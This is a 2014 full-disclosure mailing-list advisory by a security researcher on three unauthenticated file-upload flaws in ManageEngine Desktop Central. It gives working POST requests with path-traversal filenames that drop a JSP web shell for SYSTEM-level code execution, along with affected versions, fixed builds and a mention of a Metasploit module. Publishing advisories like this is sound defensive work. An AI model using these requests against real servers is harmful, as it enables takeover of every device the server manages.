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[The ManageOwnage Series, part III]: Multiple vulnerabilities / RCE in ManageEngine Desktop Central
From: Pedro Ribeiro <pedrib () gmail com>
Date: Sun, 31 Aug 2014 21:57:47 +0100

Hi,

This is the 3rd part of the ManageOwnage series. For previous chapters see:
http://seclists.org/fulldisclosure/2014/Aug/55
http://seclists.org/fulldisclosure/2014/Aug/75

tl;dr
CVE-2014-5005, 5006 and 5007 - RCE via file upload in Desktop Central
Metasploit module will be released soon.
A copy of the advisory below is available in my repo at
https://raw.githubusercontent.com/pedrib/PoC/master/me_dc9_file_upload.txt

Regards,
Pedro


Arbitrary file upload / remote code execution in ManageEngine Desktop Central / Desktop Central MSP
Discovered by Pedro Ribeiro (pedrib () gmail com), Agile Information Security
=================================================================================

Background on the affected product:
"Desktop Central is an integrated desktop & mobile device management
software that helps in managing the servers, laptops, desktops,
smartphones and tablets from a central point. It automates your
regular desktop management routines like installing patches,
distributing software, managing your IT Assets, managing software
licenses, monitoring software usage statistics, managing USB device
usage, taking control of remote desktops, and more."

There are several vulnerable servers are out there if you know the
Google dorks. Quoting the author of the Internet Census 2012: "As a
rule of thumb, if you believe that "nobody would connect that to the
Internet, really nobody", there are at least 1000 people who did."
These vulnerabilities can be abused to achieve remote code execution
as SYSTEM in Windows. I've updated the desktopcentral_file_upload
Metasploit module to use the new statusUpdate technique. Needless to
say, owning a Desktop Central box will give you control of all the
computers and smartphones it manages.

Technical details:
#1
Vulnerability: Remote code execution as SYSTEM via file upload (unauthenticated)
Constraints: none; no authentication or any other information needed

a)
CVE-2014-5005
Affected versions: all versions from v7 to v9 build 90054
Fix: Upgrade to DC v9 build 90055
POST /statusUpdate?actionToCall=LFU&customerId=1337&fileName=../../../../../../shell.jsp&configDataID=1
<... your favourite jsp shell here ...>

b)
CVE-2014-5006
Affected versions: all versions from v8 to v9 build 90054
Fix: Upgrade to DC v9 build 90055
POST /mdm/mdmLogUploader?filename=..\\..\\..\webapps\\DesktopCentral\\shell.jsp
<... your favourite jsp shell here ...>


#2
CVE-2014-5007
Vulnerability: Remote code execution as SYSTEM via file upload (unauthenticated)
Constraints: no authentication needed; need to know valid
computerName, domainName and customerId
Affected versions: all versions from v7 to v9 build 90054
Fix: Upgrade to DC v9 build 90055
Notes: This was previously discovered as CVE-2013-7390 / OSVDB-10008
by Thomas Hibbert, and was "fixed" in 2013-11-09. The fix is
incomplete and it is still possible to upload a shell with a valid
computerName, domainName and customerId.

POST 
/agentLogUploader?computerName=whatever1&domainName=whatever2&customerId=1337&filename=..\\..\\..\\..\\webapps\\DesktopCentral\\shell.jsp
<... your favourite jsp shell here ...>

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